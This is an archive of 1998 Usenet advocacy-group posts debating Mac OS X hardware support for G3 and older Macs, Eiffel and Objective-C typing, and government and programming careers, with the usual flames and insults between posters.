References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com>
_3;X4o1Yg^$]=Oc\u
In article <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com>, mpaque@wco.com (Mike
Paquette) wrote:
>(For those who don't get it, the official name Rhapsody is to ship under
>was announced today to be 'Mac OS X Server.')
Which really brings about some interesting questions WRT hardware support.
Rhapsody DR releases support several 604 and 604e-based systems.
Rhapsody DR releases support G3 systems, as of DR2.
(But not the PowerBook G3 Series, oddly enough.)
Apple's public statements of hardware support in OS X only mention G3 systems.
In the Macintosh world, "not supported" means "doesn't work, won't run."
So... if Rhapsody = Mac OS X Server...
Will existing support ("it works, it runs") for non-G3 systems be removed?
Will the hardware support statements for OS X be revised to "support" non-G3s?
Or is Apple re-defining the word "support" in the Macintosh world?
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: doylep@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Thu, 09 Jul 1998 17:52:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o3019$o8g$1@nnrp1.dejanews.com>
References: <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.n <6o2e5p$q2u$1@news.cs.tu-berlin.de>
In article <6o2e5p$q2u$1@news.cs.tu-berlin.de>,
marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
>
> Furthermore, the Eiffel type system is not actually type-safe,
This is not entirely accurate. The Eiffel type system is type-safe,
but is not fully implemented on many compilers mainly for historical
reasons.
What you are referring to here, I presume, is the covariant parameters
problem. Bertrand Meyer, when designing the language, decided that
covariance was too valuable to omit altogether. Unless I'm mistaken, he
perscribed a kind of data-flow analysis technique to discover whether
arguments of the wrong type were ever actually passed as parameters to
covariantly redefined routines. This method was totally typesafe,
but was complex to implement, so nobody did.
Later, he prescribed a different, simpler approach which was a little
more restrictive but was also totally typesafe. Compilers could
implement this second method right now, but I suppose they haven't
gotten around to it.
So, really, the trouble is not with Eiffel, but with the current
compilers. (Not much consolation if you ever get caught by one
of these type violations, but as Meyer said, this is a pretty
rare problem, and should certainly not be the basis for a
decision not to use Eiffel. Covariance is very easy to avoid if
you want to.)
> By the way, Bertrand Meyer's reaction to the unsafe aspects of
> Eiffel's type-system was something along the lines of "that
> rarely happens in practice".
>
> Gee.
Well, it's unfair to say that this is a cop-out. He did say this,
and he could very well be right, but he didn't stop there. He
did in fact come up with typesafe system-validity rules that would
discover improper use of covariance.
So he wasn't saying "don't worry; it rarely happens" as an excuse
not to solve the problem. He solved the problem. Eiffel is typesafe.
Besides, how many C++ compilers fully implement the latest spec of
that language? :-)
-PD
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8n6c.399.sal@panix3.panix.com> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com> <6o2a66$v74$1@camel21.mindspring.com>
In-Reply-To: <6o2a66$v74$1@camel21.mindspring.com>
From: not@my.address.net
Message-ID: <VG7p1.3080$24.17755115@news.itd.umich.edu>
Date: Thu, 09 Jul 1998 18:08:53 GMT
NNTP-Posting-Date: Thu, 09 Jul 1998 14:08:53 EDT
On 07/09/98, Matthew Cromer wrote:
>>>>Question stands: If millions have been killed by their own governments this
>>>>century, and this is the basis of your rational fear of the government, what
>>>>steps are you going to take to protect yourself?
>>>
>>>Why, that would be none of your d&*n business.
>>
>>You claim to have a rational fear that the government will murder you. And
>>you are being extremely cagey about how you intend to "protect" yourself.
>>You'll forgive my interest. I might know some children in daycare in a
>>federal building near you.
>
>Screw you.
I can see we're not going to get any further on this point. But we have covered
a lot of ground. We've established (i) that you claim to have a rational fear
the government will murder you; (ii) you will not say how you intend to
"protect" yourself; and (iii) you become hostile when the question is put to
you.
At this point, unless you want to answer the question, you've left it to
everyone to put the pieces together and draw their own conclusions. If you
don't like the conclusions being drawn, you're welcome to set the record
straight.
>>>>>
>>>>>BTW, over 100 million people have been killed by their own governments
>>>>>this century. Far more than have been killed by enemy governments in
>>>>>war, far more than have been killed by private individuals.
>>>>>
>>>>
>>>>How many of those were killed by their own democratic government?
>>>
>>>Nazi Germany's victims for starters.
>>>
>>>Lots of others.
>>
>>Nazi Germany wasn't a democracy. Perhaps if you tell me which democratic
>>governments you think murdered "lots of others" we can evaluate that claim as
>>well. Then we might be able to get somethwere when we talk about paranoia.
>>
>
>Hitler's party was elected to power before he began to dismantle the
>apparatus of democracy in Germany.
>
I don't think that Nazi party was ever elected to power. That was one reason
Hitler disbanded the German parliament as soon as he became Chancellor. In any
event, once the parliament was disbanded that was the end of democracy in
Germany. No matter what the will of the people, the Nazi's weren't going to be
voted out of office.
This should be reassuring to you, since you live in a democracy, and so this
gives you one less reason for having a rational fear that the government will
murder you. Perhaps if you tell us which democratic governments you think
murdered "lots of others", we can put some of your other concerns to rest.
--
invert: umich.edu jdevlin
insert: shift "2"
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Thu, 09 Jul 1998 14:57:10 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35A4DA46.C3E539EF@nstar.net>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com> <*johnnyc*-0907981001340001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 9 Jul 1998 15:02:27 GMT
John Christie wrote:
> I could undersell the iMac as well. I've got a Commodore 64 in a
> garage out there somewhere.
> It is foolish to say you can undersell the iMac with a PC upgrade
> because no matter what you do it still won't be a stylish compact machine
> with a G3 CPU, MacOS, and very low power consumption.
I don't have the slightest idea what this has to do with the subject. We
were discussing the fact that a G3 CPU, MacOS, and very low power
consumption may have exactly zero impact on the target market.
Remember! No matter what you do to a Honda Accord, it will never be a
Chevy Camaro, with 275 bhp, way-cool styling, and a sweeping LT1
spoiler. Then again, your target market may not give a shit.
> I've got a great little HP calculator that can do lots of things a Palm
> Pilot can't and it's better because it has RPN!
> Oh, and you think a PC is cheap! I can get these great little
> programming units with 68000 series CPUs. There is absolutely no GUI so
> they just scream at doing things that "really" matter like math or
> "Hurkle". And, I can have them for $100. They last for ages on a set of
> batteries and the OS is simple but reliable assembler. Now, that is power
> for your money, none of the silly OS getting in the way.
> Now, bark like Tim Taylor.
Total communication breakdown. I think I'm doing my part.
MJP
Date: Thu, 09 Jul 1998 11:28:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0907981128510001@wil114.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
In article <stone-ya02408000R0807982323110001@news.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
> In article <6o0nr6$7kh$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
>
> > From the July 8 Macintouch:
> >
> > " Jobs also noted the following...
> >
> > 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> > sold."
> >
> > Comment: This would seem to be a strong incentive for Apple to get OS X
> > running on machines other than just the G3 models.
> > Richard
>
> As has been repeated countless times on these newsgroups, Apple stated that
> MacOSX will be -->optimized<-- for the G3 processor, not that it will run
> only on G3 systems. It is highly unlikely that MacOSX will run only on G3
> systems becuase...
>
> 1. Apple has announced plans for an OSX port to Intel's X86 platform.
Unless you've learned something very recent, this statement is wrong. The
last that I heard, Rhapsody was the last version for Intel x86. Mac OS X
was specifically NOT going to run on x86.
> 2. By the time MacOSX ships the G4 will have already been in mass
> production for over 6 months.
>
> I believe logic dictates that these two facts falsify the idea that MacOSX
> will run only on G3 systems. Being a combination of Rhapsody and other
> projects, in all likelyhood MacOSX will run on the same hardware that
> Rhapsody runs on, namely all PCI based PowerMacs and some 603e based
> PowerBooks. Though this too is speculative, I think it is far more
> plausible than the fabrication that MacOSX will run only on G3 based
> systems.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 9 Jul 1998 10:24:24 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <stone-ya02408000R0807982323110001@news.enetis.net>
On Wed, 8 Jul 1998, Kevin Stone wrote:
> In article <6o0nr6$7kh$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
>
> > From the July 8 Macintouch:
> >
> > " Jobs also noted the following...
> >
> > 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> > sold."
> >
> > Comment: This would seem to be a strong incentive for Apple to get OS X
> > running on machines other than just the G3 models.
> > Richard
>
> As has been repeated countless times on these newsgroups, Apple stated that
> MacOSX will be -->optimized<-- for the G3 processor, not that it will run
> only on G3 systems.
Ken Bereskin (Director of OS Technology at Apple) has explicitly stated
that Apple will put all its efforts into supporting Mac OS X on PowerMac
G3 and future Macs (this would presumably include PowerBook G3s as well).
If you take that to mean that there _will_ be support for other systems,
then you're seeing something I'm not.
> It is highly unlikely that MacOSX will run only on G3 systems becuase...
>
> 1. Apple has announced plans for an OSX port to Intel's X86 platform.
Where has Apple announced this? I have seen Apple say that there will be
no Mac OS X on Intel. Rhapsody will be on Intel, but not Mac OS X.
This is news to me (it would be good news if it were true, but I doubt
it).
> 2. By the time MacOSX ships the G4 will have already been in mass
> production for over 6 months.
That is not relevant to what machines you can buy _now_ that will be
supported by Mac OS X. Of course G4 machines will be supported. There is
_no_ question of that.
> I believe logic dictates that these two facts falsify the idea that MacOSX
> will run only on G3 systems.
It absolutely does not. Apple can choose to support whatever systems it
wants to. These two "facts" do not invalidate our fears.
> Being a combination of Rhapsody and other
> projects, in all likelyhood MacOSX will run on the same hardware that
> Rhapsody runs on, namely all PCI based PowerMacs and some 603e based
> PowerBooks. Though this too is speculative, I think it is far more
> plausible than the fabrication that MacOSX will run only on G3 based
> systems.
When top officials at Apple state that all their efforts will go into
supporting G3 and future machines, that is a clear indicator that support
for older machines might not exist.
It would make sense to support Mac OS X on the first generation PCI
PowerMacs since most of the work for that will be done for Rhapsody unless
you consider that Apple may think it can make more money forcing owners of
these machines to buy brand new G3 or G4 machines.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Thu, 09 Jul 1998 11:36:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Message-ID: <joe.ragosta-0907981136510001@wil114.dol.net>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net> <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net> <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com>
In article <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com>,
jayfar@netaxs.com wrote:
> The thing is jokes like that aren't the slightest bit funny when they
> appear on a widely read website on other than April 1. The wrong people
> read such jokes and run with them as facts -- David Field would have a
> field day with that.
I can see the reports now:
Wall Street Journal "A well known Mac site reports that Mac OS X is not
Y2K compliant". And it will mushroom from there.
Then you'll have Jim Coates questioning the Mac's Y2K compliance and so on.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: judis@discovernet.net (Judi Sohn)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: 9 Jul 1998 16:19:46 GMT
Organization: Mom at Home Design
Message-ID: <6o2qj2$m0c$0@206.165.146.35>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net> <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net> <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com>
-&fk<OIH[1<cAj75!u>Cci??Mxvz=Ie/^iCHr.fab)\=Tak:o#cfhzqN7lk*nDm=1Tl[
m,7=bWlgbk5z;vy;)9vDN~OaCbt@vl[>`3CV0O<43P{z/'#)%RA)2~=IuH|(@>P,Er,Y
%/;y:2cGmwYzq)U
In article <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com>,
jayfar@netaxs.com wrote:
> The thing is jokes like that aren't the slightest bit funny when they
> appear on a widely read website on other than April 1. The wrong people
> read such jokes and run with them as facts -- David Field would have a
> field day with that.
Yeah, but anyone who reads *anything* from a site called macosRUMORS.com
(capital emphasis mine) and believes it at face value gets what he or she
deserves when it inevitably turns out to be false or at best half-true.
Sure, I read the site everyday and I think it's one of the best around,
but you have to take it for what it is....mostly speculation and second
and third hand information.
--
Judi Sohn - judis@discovernet.net
Mom at Home Design - http://www.discovernet.net/usr/judis/momathome/home.html
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 09 Jul 1998 15:06:10 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35A4DC62.536B8581@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com> <6o2b24$tca$1@camel21.mindspring.com> <6o2i03$kle@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 9 Jul 1998 15:11:28 GMT
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Matthew Cromer <matthew_cromer@iname.com> wrote:
>
> >"Government is not reason. It is not eloquence. It is force. Like fire,
> >it is a dangerous servant and a fearful master."
> >
> >G Washington
>
> So, just like you want to abolish government, do you want to abolish
> fire as well ?
Ah, the dangers of metaphor among simpletons. Arun, if I say that my
motorcycle "screams", does that mean that it makes banshee wailing as it
travels down the street? If I say that your posts are a "pain in the
neck", does that mean that I am printing them out, crumpling them up,
and forcing them between my nape and collar?
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 9 Jul 1998 18:27:35 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o322n$crr$1@lwnws01.ne.highway1.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <ferguson-0907980759240001@tc0-12.bluemarble.net>
ferguson@blueNOSPAMmarble.net (Jim Ferguson) wrote:
<http://www.events.broadcast.com/events/macworld98/ram/macworld070898_3.ram>
> takes you to the Macworld site of a Real Audio file of
> Executive Briefing: Apple, Today and Tomorrow
> Avadis "Avie" Tevanian, Jr., Ph.D. (Senior Vice President of Software
> Engineering; Apple Computer) Jon Rubenstein (Senior Vice President of
> Hardware Engineering; Apple Computer) -interviewed by Andrew Gore (Editor
> in Chief, Macworld)
>
> Advance to about this topic is discussed several times with an explanation
> as to why MacOSX will only run on G3 PowerMacs.
UG! As I am using this on an Intel machine running OPENSTEP 4.2, and cannot
use real-audio, would someone please post a transcript of the important bits?
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Thu, 9 Jul 1998 13:32:44 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6o32eu$ljg1@odie.mcleod.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se>
Static/strong typing and LATE binding or not the same issue. Objective-C
and Java both use late binding and both support static/strong typing
although it is optional in Objective-C.
The C++ specification does not allow for messaging or for "meta-classes" for
that matter. A "meta-class" is a class factory or Class in Objective-C, but
that is another issue.
There is no equivalent of the SEL (selector) type in C++ can there can not
be within the specification. Various design patterns have been contrived to
overcome this with more code. Objective-C and Java both allow static/strong
type checking yet both use LATE binding. I am talking about the TIME at
which a message is bound to an implementation and this has nothing to do
with the type system.
The Objective-C compiler can determine for sure that a specified receiver of
a message can respond. It can not know for sure that the receiver can NOT
respond and therefore produces a warning rather than an error as a C++
compiler would.
Objective-C postpones binding until runtime. C++ by specification has bound
all member function invocations at link time. If you do not know what the
advantages of LATE binding are, I suggest further investigation. Binding
time has little or no impact of code maintainability except the positive
impact derived from fewer classes and simpler design.
From: aa158@valleynet.on.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 18:37:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o32lm$ss4$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> When top officials at Apple state that all their efforts will go into
> supporting G3 and future machines, that is a clear indicator that support
> for older machines might not exist.
>
> It would make sense to support Mac OS X on the first generation PCI
> PowerMacs since most of the work for that will be done for Rhapsody unless
> you consider that Apple may think it can make more money forcing owners of
> these machines to buy brand new G3 or G4 machines.
One might suspect, that Jobs is being *deliberately* vague about this issue...
His objective is to sell new hardware; implying support for "legacy" pre-G3
Macs doesn't do it.
Smart business tactic!
Richard
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 9 Jul 1998 18:55:06 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o33ma$dt7$1@lwnws01.ne.highway1.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de> <6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com> <6mtgg8$sts$1@nnrp1.dejanews.com> <SCOTT.98Jun29132022@slave.doubleu.com> <6n90m7$8b4$2@lwnws01.ne.highway1.com> <SCOTT.98Jul2225157@slave.doubleu.com> <6nj0oo$crc$2@lwnws01.ne.highway1.com> <SCOTT.98Jul7095953@slave.doubleu.com> <6o02er$bm2$1@lwnws01.ne.highway1.com> <SCOTT.98Jul8132530@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote: [snip]
> [Note that I strongly believe that at least 90% of the code
> written out there is written by people who don't deserve the
> title "programmer" or "engineer". Might be closer to 99%, given
> all the reinventing the wheel that certain industry factors force
> on us.]
[snip]
> I'm not saying there won't be progress in programming. I'm saying
> such progress won't eliminate the need for programmers. Implying
> that progress will eliminate the need for programmers is, in my
> opinion, as insulting as it would be to imply that progress will
> eliminate the need for philosophers or mathematicians. It's
> saying
Well, I didn't mean to be insulting (though I seem to have a flare
for this, want to or not :) but coupled with your above 99% aren't
worthy bit, I think I understand the point you're driving at (likely
with a hammer at my head :). If 99% of the people today are not
*real programmers* but more along the *grog* line, then I see what
you mean by the demand for the real top notch thinkers will remain
more or less constant (and you think perhaps will grow). I *think*
I understand your position now. A very fine position.
I think I disagree with it to a little extent nonetheless. And
this is why I don't think you should and hope you wont be insulted.
If you look at the number of real good philosophers, it *seems*
like the numbers have gone down a bit. The aforementioned professions
had their haydays. In the time of Socrates, even he was lamenting
about how the new philosophers really weren't in it for the truth,
or the love of it, but for the standing it provided (greatly
simplifying his points to the extent of message loss). There
certainly have been great philosophers since the, but the demand
for great ones, very arguably, has gone down, and so has the
frequency of great philosopher occurances. I guess the lessening
in demand might be accounted by societies in general having benefitted
by the work of greek philosophers in general, at least to a
superficial degree that satiates the vast majority of the population's
need for what was being taught. Sure, people are likely worse off
for not having deeper understanding, etc.
And so, at some future point, the hay day for computing as we know
it may pass. Why? Who knows, I can't fortell the future. My best
guess is that what great minds develop will enable the average joe
to do enough things to some superficial extent that satisfies the
vast majority of the population. If that were to happen, perhaps
it would reduce the demand for great programmer/thinkers in a way
similiar to the decline of the philosophers. I really don't know
if that is likely the case or not; or even if it were likely, when
such a reduction in demand would occur.
> that what programmers currently do is unskilled labor - which is
> clearly not _always_ the case. [Though some programmers clearly
> _are_ unskilled. Just as, I'm sure, some biologists are, and
> some editors are.]
Anyway, I really appreciate you putting up with the discussion and
posting your position. I like thinking about that topic, and that
last bit makes me think maybe you're right. Things like great
writers, and editors, may always be needed, and there is no immediatly
forseeable reason why that would change. Perhaps the same is true
of programmers. I guess the only difference with programmers is
it seems like they possess the skills and talent to at one point
develop tools that in fact could replace themselves. Something
that seems pretty unlikely for a writer. In that regard, programmers
are a little like the police; in some way, their ultimate goal
maybe to put themselves out of business.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 9 Jul 1998 18:59:18 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o33u6$dt7$2@lwnws01.ne.highway1.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <slrn6q8mpg.399.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) wrote:
> On 8 Jul 1998 18:48:44 GMT, Erik M. Buck <embuck@palmer.cca.rockwell.com>
> > > Apple
> >needs to give customers what they want.
>
> MacOS customers do _not_ want a CLI.
Yea, and listenting to those geniuses has lead apple to monumental
failure after failure.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 09 Jul 1998 14:03:41 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A5140D.F96A1F3F@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com>
Mime-Version: 1.0
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> G. Washington said that like fire, government is a dangerous servant
> -- one who serves -- i.e., government has its uses, like fire.
> One cannot therefore conclude that abolition of government (were such
> a thing possible) is desirable where abolition of fire (were such a
> thing possible) would not.
Ah, but now the question is a question of evidence, since the
rationality of my conclusions is not in question. I have never been able
to produce evidence that government is useful; your evidence may vary.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 19:05:30 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o349q$dt7$3@lwnws01.ne.highway1.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> G. Washington said that like fire, government is a dangerous servant
> -- one who serves -- i.e., government has its uses, like fire.
> One cannot therefore conclude that abolition of government (were such
> a thing possible) is desirable where abolition of fire (were such a
> thing possible) would not.
Arun, you've made your point real clear. You don't have to do anymore.
There's really no benefit in getting the cow to confess. Everyone sees the
point, I'm pretty sure, that you've effectively made.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Thu, 09 Jul 1998 12:12:10 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0907981212100001@dante.eng.uci.edu>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com> <*johnnyc*-0907981001340001@jchristie.halifaxcable.dal.ca> <35A4DA46.C3E539EF@nstar.net>
In article <35A4DA46.C3E539EF@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Remember! No matter what you do to a Honda Accord, it will never be a
>Chevy Camaro, with 275 bhp, way-cool styling, and a sweeping LT1
>spoiler. Then again, your target market may not give a shit.
Chevy Camaro? Way-cool styling?
That's an offense to the word 'style'.
It's gotta be...
-Bob Cassidy
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 09 Jul 1998 14:10:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A51590.E1CBC9A1@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8n6c.399.sal@panix3.panix.com> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com> <6o2b24$tca$1@camel21.mindspring.com> <vW7p1.3082$24.17768812@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
not@my.address.net wrote:
